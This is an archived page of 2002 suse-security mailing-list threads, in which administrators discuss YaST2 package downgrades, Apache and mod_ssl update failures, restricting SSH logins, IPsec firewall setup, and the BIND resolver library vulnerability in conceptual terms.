telef.: +51-1-4416655 http://www.sinux.com.pe

5 8

YaST2 can remove security updates without permission
by Bob Vickers 08 Jul '02

08 Jul '02

Dear All, I have reported a couple of YaST2 bugs to SuSE, and one of them has security implications that people should be aware of. I was using yast2 to install extra packages on a running system, and was having great difficulty because yast2 kept on hanging after I had made my package selection. So I used the feature (available on the Extras button) to save my configuration then loaded it on the next run. After loading the configuration yast2 took it upon itself to reinstall from CD all the packages that were already installed as well as the new ones I had requested. This was irritating, but what makes it much worse is that it *downgraded* packages which had had security updates installed. So I would warn people: when you run yast2 watch what it does and always be ready to reinstall your security updates if necessary. Bob ============================================================== Bob Vickers R.Vickers(a)cs.rhul.ac.uk Dept of Computer Science, Royal Holloway, University of London WWW: http://www.cs.rhul.ac.uk/home/bobv Phone: +44 1784 443691

4 3

apache do not start after upd
by ic_admin 08 Jul '02

08 Jul '02

Hi list, I have a strange problem with apache 1.3.19 running on SuSE7.0: After I have done the last security update from 18 June to apache 1.3.19-115 I am not able to start the webserver with the mod_ssl and/or mod_php (mod_php is for version php3). It is only possible to start the webserver with "httpd -f /etc/httpd/httpd.conf" . If I start the server with "/sbin/init.d/apache start" it seemed to be OK until I do a request to the webserver: Then I got the message in the apache-error-log: "[Mon Jul 8 18:32:50 2002] [notice] child pid 9736 exit signal Segmentation fault (11)" and nothing happens in my browser! The same thing happens if I start the server with "httpd -f /etc/httpd/httpd.conf -D SSL". If I try to start the server with the option "-D PHP" I got a message "sqlinit: DBROOT must be set !!!" But the DBROOT is set! And the server didn't start. Anybody there who had the same problem and could help me? Is it perhaps the php-modul which isn't supported anylonger? I need this machine running php3 not php4 ! Many thanks and regards Ruediger Doerlich InterConcept GmbH Drosselweg 27 D-61462 Koenigstein http://www.i-concept.de

1 0

File access permissions on home users directory
by Corneliu MUSAT 08 Jul '02

08 Jul '02

Hi, When I create a new user (useradd os yast2) the users home directory have 755 access permissions. Is this normal ? What am I doing wrong ?! -- Cornel. tel.:4092743604

6 6

ACL sorry if OT
by ChaoticBlackButterfly 07 Jul '02

07 Jul '02

I am having a problem with ACLs denying external access to my webserver. I am unsure of where it is that I disable them. It is a default install of apache, off of a default SuSE 8 Pro. installation. I'm not sure if it's something to do with the httpd.conf, but I checked in there and didnt see anything out of the ordinary. If someone could shed a little light on this, and maybe give a few hints as to what might be wrong, it would be greatly appreciated. Again, this is a problem with ACLs denying access to apache webserver. I am new to running my own server, and am a little bit shy to go ahead and alter things regarding the access to my computer from the inet. I do apologize sincrely if this is OT but this is my last resort. Thanks in advance CBB

1 0

imapd-s setup problem.
by Francisco José Escarpa Sánchez-Garnica 05 Jul '02

05 Jul '02

Hello. I've a doubt about how to configure an imapd over ssl/ssh. I use Suse 7.3, and installed all the stuff (imap, ssl ... ), and configured it as the manuals told. 1st.: ¿ how can I get the imapd certificate ?. There is not any clue in the whole documentation packed with the distro !. I found a way at http://www-itg.lbl.gov/~boverhof/openssl_certs.htm but still doesn't work. 2st.: The place imapd looks to find the certificate doesn't exists (/usr/src/openssl-0.9.6/certs/); I don't know if is a "feature". I create the directory, copied the generated cert ( not sure if ok ), and .... doesn't works. ¿ any idea ? Thanks in advance. Francisco José Escarpa Sánchez-Garnica ------------------------------------------ SANTIAGO & CINTRA IBERICA S.A. C/ José Echegaray 4 - P.A.E. Casablanca B5 28100 ALCOBENDAS - Madrid Tel.: 902120870 - Fax: 902120871

2 1

Validating SuSE PGP keys for security announcements
by Scott Courtney 05 Jul '02

05 Jul '02

Good day, all I finally got around to installing and learning GPG on my system. Not that I'm apathetic about security; just that until now I've followed the practice of never e-mailing anything sensitive. I decided it was time to get this up and running just in case I ever need to do so. I was able to extract the SuSE key from an announcement on this list, and to add it to my GPG keyring. SuSE's messages now say that the signature is valid but that the key cannot be verified. So my question: How do I trace back the SuSE key to a signer, so that I can decide how far back I need to go in order to get one that I trust? I'm less concerned about this for the specific case of the SuSE announcements, which I can verify on their web site, than in the general case. Without going to a key signing party, are there other ways I can get my own GPG keys signed without violating the web-of-trust model? I'm familiar with how public key cryptography works and the implications of the web-of-trust versus central-authority models. I'm asking about specific mechanics of the "getting people together" problem, with regard to how it works in the Open Source community, rather than about concepts of the technology itself. Thanks for any suggestions. Kind regards, Scott -- -----------------------+------------------------------------------------------ Scott Courtney | "I don't mind Microsoft making money. I mind them courtney(a)4th.com | having a bad operating system." -- Linus Torvalds http://4th.com/ | ("The Rebel Code," NY Times, 21 February 1999) | PGP Public Key at http://4th.com/keys/courtney.pubkey

3 3

GrSecurity and YaST
by JW 05 Jul '02

05 Jul '02

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hello, Are any of you using the grsecurity kernel patch? I'm just trying to teach myself how to use it. It's pretty neat. YaST is doing somethign which it considers dangerous, because it kills it: Jul 5 01:01:04 ccs001 kernel: grsec: signal 11 sent to (y2base:13088) UID(0) EUID(0), parent (y2base:15754) UID(0) EUID(0) That happened while trying to install new packages Yet I can install rpms by hand with no trouble. Before I go plauge the relatively small group of grsecurity folks, are there any SuSE user's of grsec that can give me basic tips, like what to do to allow YaST to work? Thanks. - -- - ---------------------------------------------------- Jonathan Wilson System Administrator Cedar Creek Software http://www.cedarcreeksoftware.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9JTMeQ5u80xXOLBcRAtRQAJ9ilVyGJ/s/b4rp++xHCCUqGbGEEQCeJWZn gvrbObD4M/OPWA32qcMS0UQ= =sNrY -----END PGP SIGNATURE-----

2 1

Firewall On CD & Routing.
by Tom Crowe 05 Jul '02

05 Jul '02

Hi, I have a quick question regarding firewalling using Firewall on CD and routing. The firewall on CD manual advises not to route packets, but to proxy wherever possible, and in the absence of a proxy for my particular application, I am looking to find out if what I want to do can be done without routing, and where the routing may need to be deployed. My opinion differs with the ISP, and I need a second opinion before I concede defeat or demand victory. The setup is that our office facility has a leased line terminating in a router, and provides internet connectivity to multiple clients from the one line. The router which the line terminates in is x.x.x.2 and every IP address we have traceroutes through that router. We have a block of 16 IP addresses from the block of 256 available, we have x.x.x.49..63 all in its own subnet with an appropriate subnet mask to keep the broadcasts local. The ISP installed some type of dumb gateway on 49 to allow our outgoing traffic reach the router on x.x.x.2 without being in the same subnet as that router, but all incoming traffic avoids the gateway on .49 All taceroutes for any of our 16 IP's route up to and including x.2 router. I propose to place a firewall with public interface on .50 and split the remaining IP addresses, x.51..63 into a disjoint network which I shall use as a DMZ. The dmz is intended to run http server, pop, smtp, and a special demo server and another server running VNC server. I propose to have the firewall route this traffice if it reaches the external interface for somthing in the DMZ. Outgoing traffic will be fine, but it is my understanding that inbound traffic on the leased line needs to know that it must route through x.50 in order to reach the servers located in the DMZ. I will configure the routing in the firewall. I have requested to the ISP that routing changes be made to x.2 so that all traffic for IP address x.51..63 be routed through my firewall located on x.50. The ISP says no, its not needed, it will work without it. I say he's an idiot. I went over his head to his manager, who also maintains that the routes are not needed to be added, and that its a waste of time, and I say that he's an idiot too. Can anyone out there confirm that these two guys are idiots, or is it me? TIA, Tom Crowe tom(a)songfield.com

4 4

openssh - restrict logins
by Luke Loh 05 Jul '02

05 Jul '02

Dear List I am running openssh and SuSEfirewall2 and would like to restrict ssh access to certain hosts. I have read the openssh docs and it seems I need to do this in hosts.allow, but this means that I need to have inetd / tcp-wrappers running. Is it possible to do this in SuSEfirewall2 without having inetd running? Regards Luke Loh

2 1

Re: [suse-security] SuSE-SA:2002:023
by Christian Laursen 05 Jul '02

05 Jul '02

Joerg Mayer <jmayer(a)loplof.de> writes: > On Tue, Jul 02, 2002 at 11:36:13PM +0200, Christian Laursen wrote: > > Is there a chance of an update which will work with both privsep and > > compression at some point in the near future, or will we have to wait for > > SuSE 8.1 to get that? > > It already DOES work, iff you have a 2.4 kernel. The problem is with > missing features in the shared mem implementation in 2.2 and earlier > kernels. Sorry, but on the three machines I have now tested it on, it doesn't. They are all running SuSE 8.0. One of them with the SuSE 2.4.18-4GB kernel, one with 2.4.18 and one with 2.4.19-rc1. On all of them I get the following message, when I start sshd: This platform does not support both privilege separation and compression Compression disabled -- Best regards Christian Laursen

6 8

Re: [suse-security] Apache upgrade from SuSE ?
by Oliver Bleutgen 05 Jul '02

05 Jul '02

> On Mon, Jul 01, 2002 at 10:12:21PM -0000, matthew zonderop wrote: >> my apache broke after the patch...had to reinstall the perl modules and >> uninstall the SSL module which i dont use anyway. >> but only took 5 mins..rcapache restart no problem... > If you tell us what exactly broke we might be able to work out if > anything was wrong and what! > Peter Peter, the problem with the apache upgrade seems to be that the stock apache from SuSE 7.0 was 1.3.12 (IIRC, it was definately <1.3.19). Then, on 28.April 2001, SuSe seems to have issued a apache 1.3.19 for suse linux 7.0, at least that is what I figure out from the fact that http://www.suse.de/de/support/download/updates/70_i386.html contains links to mod_contrib.rpm, mod_perl.rpm and other modules for apache 1.3.19. Irritatingly, there's no link to an apache 1.3.19 upgrade from that time, maybe you people deleted that when the new apache came out. Now came the new upgrade, and only mod_ssl and apache itself were published. People like me upgraded, got no rpm dependency problems (yes, without using --nodeps), but apache segfaulted on every request. It took me some time to figure out that my apache modules were the culprits, because I _had_ checked for a previous apache upgrade which I might have omitted for some reason - and, as I said, rpm didn't complain. It would have been helpful if the advisory contained a hint about updating the apache modules, because the described update strategy _must_ fail on a stock 7.0. Mind you, I'm not complaining, just trying to give a hint where these problems might come from. cheers, oliver

3 2

openssh - restrict logins [SOLVED]
by Luke Loh 05 Jul '02

05 Jul '02

Thank you Andreas J Mueller and Alberto Santana for your quick responses. They both kindly pointed out to me that all I need to do to restrict SSH logins from a certain IP address in SuSEfirewall2 is: FW_TRUSTED_NETS="x.x.x.x/24,tcp,22 x.x.x.x,tcp,22" With this line, FW_SERVICES_EXT_TCP="22" is no longer required. Thank you again list for being an excellent resource. Luke Loh

1 0

Re: [suse-security] Apache upgrade from SuSE ?
by Oliver Bleutgen 04 Jul '02

04 Jul '02

> Hi, > On Wed, Jul 03, 2002 at 12:02:47PM +0200, Oliver Bleutgen wrote: >> >> > Strictly speaking those module updates should not have been necessary. >> >> I doubt that, from my own experiences. > Well I can not state that it works for all ~60 modules -- but for > mod_php4 and mod_perl it does. Peter, I have a small logical problem with that. You claim that the apache-1.3.19-115.rpm would run with modules of the original suse distribution, which is apache-1.3.12-120. Then, if this is so, why did SuSe release updated versions of all apache modules, when it first made the jump to apache-1.3.19-30? (that was the new version at that time, I did some searching). If the modules should work with apache 1.3.19-115 as you say, why shouldn't they have worked with apache 1.3.19-30? Either the update of the modules at that time was unnecessary, or it's still necessary today. (Or, there's some deep voodoo involved which makes the newer apache 1.3.19 "more compatible" with 1.3.12 modules than the old one - plausible?) >> No, I mean a link and a note at >> http://www.suse.de/de/support/download/updates/70_i386.html >> >> As you see, there are said modules listed at 28.April 2001, but not >> apache itself. >> Before I upgraded, I grepped this page for other occurrencies of >> the word "apache" and found nothing else. So I concluded that apache >> hasn't been updated before. > You are right -- the older entries are superseded (i.e. removed) on that > web site (which is bad IMO). Indeed, why not just putting in a big fat warning that this upgrade is superseded. And just remove the links. > Also, looking on http://www.suse.de/de/support/security/ there is only > one apache announcement-- the last one. Apparently, we did not issue an > announcement at that time -- which would be bad IMO but I guess we might > not have had the same infrastructure at that time compared to now). Or > (!) we did issue the information about apache, but not in its own > announcement but in a > 2) pending vulnerabilities, solutions, workarounds > section. This way, the information is hard to find because the website > does list only the titles, not the affected package names, nor offers it > a way to search through the announcements. This is bad IMO as well. Well, at least we have rpm --changelog: * Fre Apr 20 2001 - poeml(a)suse.de - security update to Apache 1.3.19 due to a bug where, in the default installation, a very long path with many slashes could lead mod_negotiation and mod_dir/mod_autoindex to display a directory listing instead of the index.html.* files - don't define SINGLE_LISTEN_UNSERIALIZED_ACCEPT (it's already there) - update mod_ssl to corresponding version (2.8.2) - make mod_ssl subpackage require correct apache release number - don't use macro for Version how about a trip down memory lane? ;-) Oh, and about getting an older state of said webpage: http://web.archive.org/web/20011126194844/http://www.suse.com/us/support/do… As I wasn't affected from the above bug, I didn't upgrade. > I'll stimulate discussion about what kind of improvements would be > useful here. Be assured that your criticism is very helpful. [big snippage] >> This is correct, but if it's true that one needs to have other, older >> updates to get a working server, it would be a great help to describe >> that in the advisory. >> >> What happend was: >> stock 7.0 -> apache+mod_ssl update from 18.Jun 2002 -> crash >> >> what I had to do was: >> stock 7.0 -> mod_contrib+mod_perl from 28.April 2001 + apache+mod_ssl >> from 18.Jun -> works >> >> IOW, the update from 18.Jun was dependend on the update from >> 28.April 2001, and that was neither mentioned in the advisory >> nor reflected in the rpm-dependencies. > It looks so. I don't believe it, but it's well possible. We might dig > into it further, but I can't promise anything. You don't need to, but taking my thoughts from above into consideration - as well as the fact that two other people on this list had the same problem - I'm quite sure that I'm right. If I am right, I'd think SuSE should take a look at their testing procedures, because they issued an update package which won't work on a stock install. And this is the first configuration on which I'd expect tests to be run. Perhaps it wasn't notified because apache will startup, but not work. Anyway, it's plausible that this incidend is caused mainly by growing problems and pains with aging versions of a distribution. In summary, two thing come to mind which would have helped me: - proper rpm dependencies well, I can install rpms, that's it, so I've no idea if this is doable in all cases. - A hint in the advisory to also install the newer apache modules. Ok, thanks for taking the time to answer my ramblings ;-). cheers, oliver

2 1

Help needed: no remote login (more Infos)
by Wilfried Philippi 04 Jul '02

04 Jul '02

Hello, >i have a problem with SuSe 8.0 and sshd or telnet. On the Serverconsole a >login as root or user is possible and i can login but over the Network it doesn't >work ..... >What is wrong? I use Putty as Client on the Windows >site. The Login Screen appears with login: and Password: I give the Username and the Password and then comes Access denied. Both the Username and Password are correct. Thanks for your Help. Wilfried

3 2

postfix address masquerading/header rewriting
by Hans-Peter Jansen 04 Jul '02

04 Jul '02

Hi, I red the postfix docs, but doesn't get a grip on my problem: In an installation of SuSE 7.2/postfix-20010228pl02-8 I suffer from following problem: Although I've activated masquerading, one can easily find the sending host in the Received: header incl. ip address. Is there any way to get rid of it: xyz = external domain int = internal domain Received: from xyz.de (sendinghost.int.de [192.168.15.14]) by mail.int.de (Postfix on LISA Linux (i386)) with ESMTP id C39416105 for <somebody(a)anywhere.com>; Thu, 4 Jul 2002 15:37:31 +0200 (CEST) Also I would like to get of the Sender: header, generated by Netscape Mail: Sender: sb(a)int.de The reason is very simple: hiding any internal details. Any hints highly appreciated. TIA, Hans-Peter

2 1

RE: [suse-security] Bind9 & resolver libs
by Reckhard, Tobias 04 Jul '02

04 Jul '02

> thanks Tobias, i am still unclear as to the possibility of exploiting > bind9 if recursion is limited/not allowed afaik the overflow occurs > at two of the variable parsers used by the resolver libs. If BIND9 uses the vulnerable resolver lib or implements the same code, it is vulnerable. If it doesn't, it isn't. That having been said, if you're worried about BIND being exploitable now and in the future, which I would be, then dump BIND and switch to something more secure. Such as djbdns. You'll still need to resolve the issue on the DNS clients, though. On a sidenote, proxy firewalled infrastructures don't require the workstations to perform DNS lookups at all, the proxy handles that for them. > and > also afaik > bind9 answers from cache anyway. So? I don't see your meaning. > the reason i am sceptical at > this stage > is one of my production boxen running only (SuSE) patched apache and > bind9 (80 & 53) has been r00ted. I don't believe it runs only those two apps.. ;-) [box r00ted by unknown avenue of attack] Post-breakin forensics can be tough (and therefore expensive). I believe we (secunet, the company I work for) have done some of it in the past, so if it's important enough to you, we could perhaps come to a deal, but it probably won't be cheap.. I sincerely hope the list doesn't read this as an advertisement of any sort, it's not meant that way. Tobias

3 2

OpenSSH-Update: port 22 ... Address already in use.
by Andreas Schamanek 04 Jul '02

04 Jul '02

Hi there, I've updated OpenSSH as recommended on several hosts, some SuSE 7.2, some 7.3. On most of them I got the following entries in /var/log/ messages after _rcsshd stop ; rcsshd start_ (which, BTW, worked fine): Jul 4 10:24:00 host sshd[205]: Received signal 15; terminating. Jul 4 10:24:04 host sshd[21127]: Server listening on :: port 22. Jul 4 10:24:04 host sshd[21127]: error: Bind to port 22 on 0.0.0.0 failed: Address already in use. Is this 'Address in use' because of still running children of the old and terminated sshd parent? Or does this indicate that there is another process running which I do not know of? TIA, -- -- Andreas

7 9

HELO with too long argument crashes sendmail
by Konrad Klein 04 Jul '02

04 Jul '02

Hi everybody, I have the following problem. I installed a box with SuSE 7.2, updated all packages und then checked the security of the server with Nessus. The result of the scan is, that Nessus could crash sendmail, because of a HELO command with a long argument. Is there a way to prevent this, or is this a problem of the installed SuSE rpm sendmail-8.11.3-68.rpm ? Thanks for your help Have a nice evening Konrad

3 3

Add user
by Ricardo Javier Aranibar León 04 Jul '02

04 Jul '02

Hi list, I don't know what happend with this. I created a new user in my box with this command as root #useradd armando #passwd armando but when I try to connect with armando I have this message... su: warning: cannot change directory to /home/armando:No such file or directory and when I execute ls /home I don't see the directory armando If somebody can help me I will thankfull _________________________________________________________________ Únase al mayor servicio mundial de correo electrónico: http://www.hotmail.com/es

7 6

Fw: [suse-security] Add user
by Victor Reyes 04 Jul '02

04 Jul '02

Try 1. man useradd or 2. useradd --help and 3. check this parameters -s "shells" -g "groups" -G "many groups" -h "directory" -p "user password" or use YAST2 (you can use on Konsole) Bye.... Victor Reyes ----- Original Message ----- From: "Ricardo Javier Aranibar León" <ricardo_jal(a)hotmail.com> To: <suse-security(a)suse.com> Cc: <security-discuss(a)linuxsecurity.com> Sent: Thursday, July 04, 2002 11:46 AM Subject: [suse-security] Add user > > > Hi list, > > I don't know what happend with this. > I created a new user in my box with this command as root > #useradd armando > #passwd armando > > but when I try to connect with armando I have this message... > su: warning: cannot change directory to /home/armando:No such file or > directory > > and when I execute ls /home I don't see the directory armando > > If somebody can help me I will thankfull > > > _________________________________________________________________ > Únase al mayor servicio mundial de correo electrónico: > http://www.hotmail.com/es > > > -- > To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com > For additional commands, e-mail: suse-security-help(a)suse.com > Security-related bug reports go to security(a)suse.de, not here > >

1 0

Help needed: no remote login
by Wilfried Philippi 04 Jul '02

04 Jul '02

Hello, i have a problem with SuSe 8.0 and sshd or telnet. On the Serverconsole a login as root or user is possible and i can login but over the Network it doesn't work and I get the Message: Access denied. This is when i work with Telnet and also when i work with ssh. What is wrong? I use Putty as Client on the Windows site. Is there a Variable who denies remote login? Thanks for your Help. Wilfried

3 2

RE: [suse-security] Help needed: no remote login
by Peer Stefan 04 Jul '02

04 Jul '02

hi > From: Wilfried Philippi [mailto:philippi@madex.com] > Hello, > i have a problem with SuSe 8.0 and sshd or telnet. On the > Serverconsole a login as root or user is possible and i > can login but over the Network it doesn't work and I get > the Message: Access denied. This is when i work with Telnet you shouldn't use telnet anyways ... > and also when i work with ssh. What is wrong? I use Putty as > Client on the Windows site. Is there a Variable who denies > remote login? in /etc/ssh/sshd_config there's a directive called 'PermitRootLogin'. set it to yes and restart your sshd. if you cannot connect to your system via ssh as non-privileged user, have a look at /etc/hosts.allow and /etc/hosts.deny, check your firewall-rules, try to ssh localhost ... another thing is: have a look at /var/log/messages, which is your syslog-file. it should give you a hint where you should look for enabling ssh. if you have PermitRootLogin set to no you should find something like "Jul 4 17:22:06 hostname sshd[6524]: ROOT LOGIN REFUSED FROM ::ffff:xxx.xxx.xxx.xxx" in there. > Thanks for your Help. > Wilfried regards, stefan

1 0

Re: [suse-security] Re: SSL logs 'ok', but no open port 443
by Ulrich Klaus (listaccount) 04 Jul '02

04 Jul '02

Hello Roman, > See the Listen and Bind directives in the config files. If you > want it to listen on port 443, you have to tell it so at least. that was it. Shame on me. Thanks a lot!! Uli

1 0

Re: SSL logs 'ok', but no open port 443
by Ulrich Klaus (listaccount) 04 Jul '02

04 Jul '02

Hello Peter, thanks for your reply. > I suppose that you need to set the SSLEngine directive to On. The > default was Off in SuSE Linux 7.0. This directive is already set to 'on'. I think, otherwise the SSL-engine would not tell to have taken up the virtual host correctly (?). What else could I try? Greetings Uli

2 1

RE: [suse-security] Bind9 & resolver libs
by Reckhard, Tobias 04 Jul '02

04 Jul '02

> if set in resolv.conf to 127.0.0.1 and in named.conf > recursion no; it should be fine ? > afaik the problem is that querries on > bind8 is > answered from the resolver libs and bind9 only answers > from cache ? Disclaimer: I've got all of the following from the DNS mailing list, none of it is my own (except the wording). However, the sources are pretty much experts at DNS (and coding). The problem lies in the resolver libs. That's where it should be fixed. The current BIND resolver lib vulnerability is triggered by perfectly fine DNS datagrams. If an intermediate party between the attacker's DNS server and the target, such as a DNS proxy, reconstructs answers instead of just piping them through unmodified, then the attacker just needs to analyse that party's behaviour and modify his attack payload accordingly. This sounds a little complicated, I'll try to clarify. The attacker knows that payload A will root the target. If the target contacts his DNS server directly, he simply sends it A and is done. If the target accesses the DNS server through a 'constructing' DNS proxy, the attacker needs to find out how the proxy constructs packets, pick a payload B that will root the target (this may be A, but must be different, if the proxy will never construct A) and reverse the construction process to get B'. So the use of a DNS proxy doesn't really solve the problem. Updating the buggy libraries does. Cheers Tobias

2 1

RE: [suse-security] IPsec (FreeS/WAN) and SuSEfirewall2
by Andreas Marbet 04 Jul '02

04 Jul '02

Hi Stefan, > From: Stefan Nilsen [mailto:stefan.nilsen@millnet.se] > Sent: Wednesday, July 03, 2002 3:00 PM > > My goals is the following: > > #1. Allow the users on the subnets to reach each other > > #2. The GW computers should be able to reach the opposite subnet > > #3. The GW computers should be able to talk to each other. > (Does not *have* to > be IPsec, SSH is enough). > > I have managed to fullfill #1 together with #3, but not > without troubles. I > had to make minor changes in /etc/init.d/SuSEfirewall2_setup, > adding ipsec to > the row containing Required-Start: I have a similar setup, but I never had to tweak the starting script of SuSEfirewall. In my case, ipsec starts after phase 2 of SuSEfirewall. Btw: do you use FreeS/WAN in the version included with SuSE 8 (1.95) or did you compile it yourself? > Then I went into yast2, runlevel editor and made a reset of > the runlevels. I > am sure this could also be done from the cmdline... Here again I didn't do any changes except enabling the needed services. > The reason I did this was because ipsec has to be loaded > before the firewall, > otherwise it would not load the rules correctly for the > ipsec0 interface. Do you talk about additional rules or just the built-in ones of SuSEfirewall2? > The following tunnel was set up in /etc/ipsec.conf on both > GW's to get this > tunnel to work: > ---------------- > conn xpfwlsn-xpfwnsn > # Subnet to subnet > # Left security gateway, subnet behind it, next hop > left=193.193.193.200 > leftsubnet=192.168.1.0/24 > leftnexthop=193.193.193.193 > # Right security gateway, subnet behind it, next hop > right=194.194.194.200 > rightsubnet=192.168.3.0/24 > rightnexthop=194.194.194.194 > # To authorize this connection, but not actually > # uncomment this. > #auto=add > auto=start > ----------------- Try the following: On leftgateway's ipsec.conf change the rightnexthopvalue to the internal IP of rightgateway and vice versa. It's now a few months since I tried it myself, but then I had to set it up that way. Don't know exactly why, but its worth a try. With my setup, I can fulfill all your requirements. 'internal' connections from gw to gw are of course not working by design. > To manage to fulfill #2 i also added the following tunnels in > ipsec.conf: > ----------------- > conn xpfwlsn-xpfwn > # Subnet to gateway > > conn xpfwl-xpfwnsn > # Gateway to subnet Is it really neccesary to add these connections as well? I think FreeS/WAN will be confused because it doesn't know how to differ the incoming connection requests. Could you perhaps post the log-entries when starting FreeS/WAN? > ... but it does not work. I suspect SuSEfirewall2 to be the > reason (or more > correctly, my configuration of the firewall). > > My /etc/sysconfig/SuSEfirewall2 config (only diff's from > /usr/share/doc/packages/SuSEfirewall2/SuSEfirewall2.conf): > ----------------- > FW_DEV_EXT="eth0 ipsec0" > FW_DEV_INT="eth1" > FW_ROUTE="yes" > FW_MASQUERADE="yes" > FW_MASQ_DEV="eth0" > FW_MASQ_NETS="0/0" > FW_PROTECT_FROM_INTERNAL="no" > FW_AUTOPROTECT_SERVICES="no" > FW_SERVICES_EXT_TCP="ssh" > FW_SERVICES_EXT_UDP="500" > FW_SERVICES_EXT_IP="50" Don't know if IP-Protocol 51 is needed as well? > FW_FORWARD="192.168.1.0/24,192.168.3.0/24 > 192.168.3.0/24,192.168.1.0/24" > FW_KERNEL_SECURITY="no" > FW_STOP_KEEP_ROUTING_STATE="yes" > ----------------- > > If I ping a computer on subnet 192.168.1.0/24 from the > opposite network GW i > get this in /var/log/messages on the recieving GW: > > Jul 3 14:31:42 xpfwl kernel: SuSE-FW-DROP-DEFAULT IN=ipsec0 OUT=eth1 > SRC=194.194.194.200 DST=192.168.1.10 LEN=84 TOS=0x00 Why does it arrive on ipsec0, should be eth0. Taking the wrong tunnel? Hope this helps a bit. Andreas

5 6

Bruno Leonhardt ist z.Zt. nicht im Büro ...
by BLeonhardt＠analytek.de 04 Jul '02

04 Jul '02

Ich werde ab 03.07.2002 nicht im Büro sein. Ich kehre zurück am 07.07.2002. Zur Zeit bin ich leider nicht im Haus, werde aber Ihre Nachricht so schnell wie möglich beantworten.

2 1

FW: Packet reconstructioni
by Reckhard, Tobias 04 Jul '02

04 Jul '02

Here's another interesting post (at least it was to me). Tobias > -----Original Message----- > From: Pete Ehlke [mailto:lists-djbdns@rfc822.net] > Sent: Wednesday, July 03, 2002 17:02 > To: dns(a)list.cr.yp.to > Subject: Re: Packet reconstructioni > > > On Wed, Jul 03, 2002 at 01:30:58PM +0200, Laurent G. Bercot wrote: > > > > > I'm wondering this topic isn't discussed more in-depth on > this list. > > > > Why should it be ? it's off-topic. > > This list is about BIND replacements for Unix ; the > problem lies within > > the BIND DNS client library. End of matter. > > > Erm. Well, no. It's also in BSD-derived libc implementations > going back > for *years*. It may take commercial vendors who use those > implementations some time to issue fixes. There are no doubt legacy > systems running that code whose vendors have gone out of > business. These > are real concerns in the real world, where 'get rid of those systems' > may not be an option due to management, human resource, technical, or > budgetary considerations, or may take months or even years to work > through the bureaucratic approval process. > > In that environment, responsible administrators take precautions to > protect systems that can't be immediately fixed. Right now, the only > option for doing that seems to be BIND 9. If this list is genuinely > "about BIND replacements for Unix", then discussing how to manage that > task using things other than BIND 9 is squarely on topic. > > -P. >

1 0

BIND resolver libraries vulnerable, was RE: Packet reconstruction i
by Reckhard, Tobias 04 Jul '02

04 Jul '02

Hi list I thought this post from the DNS mailing list might be interesting. Tobias > -----Original Message----- > From: Mrs. Brisby [mailto:mrs.brisby@nimh.org] > Sent: Wednesday, July 03, 2002 15:28 > To: dns(a)list.cr.yp.to > Subject: Re: Packet reconstructioni > > > On Wed, 2002-07-03 at 08:29, Lars Uffmann wrote: > > Laurent G. Bercot wrote: > > >>I'm wondering this topic isn't discussed more in-depth on > this list. > > > > > > > > > Why should it be ? it's off-topic. > > > This list is about BIND replacements for Unix ; the > problem lies within > > > the BIND DNS client library. End of matter. > > > > Sure. But CERT *recommends* usage of bind9 as a solution to > the buggy > > resolver library vulnerability. Earlier in this thread there was a > > dispute wether a caching nameserver (ie. dnscache) can > protect clients > > at all. I would like to know wether this is true or not. I > assume there > > are many people having the necessary expertise to answer > this question > > on this list, so it's not completely off-topic, IHMO. > > So CERT is wrong. whoopie. If CERT recommends you jump off a bridge, > then I won't cry if you actually do it... Irregardless of the pressure > from your "security staff" > > CERT recommends that you ignore the RFC's pertaining to DNS; > i've always > suspected the ISC corrupts CERT... but at least CERT can > pretend they're > doing "the right thing" by still giving the right answer: > > <<Upgrade to a corrected version of the DNS resolver libraries>> > > a caching nameserver should _not_ attempt to decode the underlying > responses (rrdata) of the answer section for a request it didn't > originate. IF IT DID, dnscache would have to be updated [or have a > rulefile] for each RR that __could__ be sent. > > This is impossible to do without breaking RFC 1123, 1035 and > 1034 (type > extensibility: dan has a good article about this at > http://cr.yp.to/djbdns/newtypes.html ) > > > if you simply need time and have to upgrade hundreds of > machines, simply > cut off users from talking DNS to the outside world (yes: kill > dnscache). > > Set up tinydns for your intranet so they can use "mail" and > "proxy" and > all that good stuff, and only permit them to use http proxies > (the HTTP > protocol puts the name of the host in the query when doing > "HTTP PROXY") > > And congrats are in order: You've successfully avoided > replacing the DNS > resolver on all the broken machines by cutting off their privleges. As > they become compliant and decide, okay, we'll do it the right way, add > them to your dnscache $ROOT/ip/ > >

1 0

RE: [suse-security] ipchains - paketfilter
by Reckhard, Tobias 04 Jul '02

04 Jul '02

> network. Is it correct, that squid and rinetd are > using the input and output chains and not the forward > chain. I'm not entirely sure about rinetd as I haven't used it myself, but you are correct concerning Squid. I presume the same applies to rinetd. The reason is simple: Squid is a proxy, which breaks up the communication between client and server into two individual conversations. The proxy is a server to the client (conversation #1) and a client to the server (conversation #2). > And does it make sense in your opinion to > define new chains for that? Your call to make. It can improve or degrade the readability and performance of chains to introduce user-defined chains. It depends on the complexity of the rulebase. Tobias

1 0

[suse-security] SSL logs 'ok', but no open port 443
by Ulrich Klaus (listaccount) 03 Jul '02

03 Jul '02

Dear colleagues, i hardly tried to enable SSL with apache on my SuSE 7.0 box using the [latest fixes of the] following packages: apache-1.3.19-115 mod_ssl-2.8.2-33 mod_php4-4.0.4pl1-132 (self-compiled from the spm) After creating the key, csr and crt and modifying the httpd.conf accordingly, apache restarts quite well, writing the ssl_engine_log as completely listed below (log-level debug). So, everything seems fine, furthermore because no other logfile contains suspicious entries. But -- there is no listening port 443 at all. Could anybody pleas give me a hint how to see the cause? Thanks a lot in advance Uli /var/log/httpd/ssl_engine_log: [03/Jul/2002 23:20:45 02246] [info] Server: Apache/1.3.19, Interface: mod_ssl/2.8.2, Library: OpenSSL/0.9.5a [03/Jul/2002 23:20:45 02246] [info] Init: 1st startup round (still not detached) [03/Jul/2002 23:20:45 02246] [info] Init: Initializing OpenSSL library [03/Jul/2002 23:20:45 02246] [info] Init: Loading certificate & private key of SSL-aware server my.name.de:443 [03/Jul/2002 23:20:45 02246] [trace] Init: (my.name.de:443) unencrypted RSA private key - pass phrase not required [03/Jul/2002 23:20:45 02246] [info] Init: Seeding PRNG with 136 bytes of entropy [03/Jul/2002 23:20:45 02246] [info] Init: Generating temporary RSA private keys (512/1024 bits) [03/Jul/2002 23:20:45 02246] [info] Init: Configuring temporary DH parameters (512/1024 bits) [03/Jul/2002 23:20:46 02247] [info] Init: 2nd startup round (already detached) 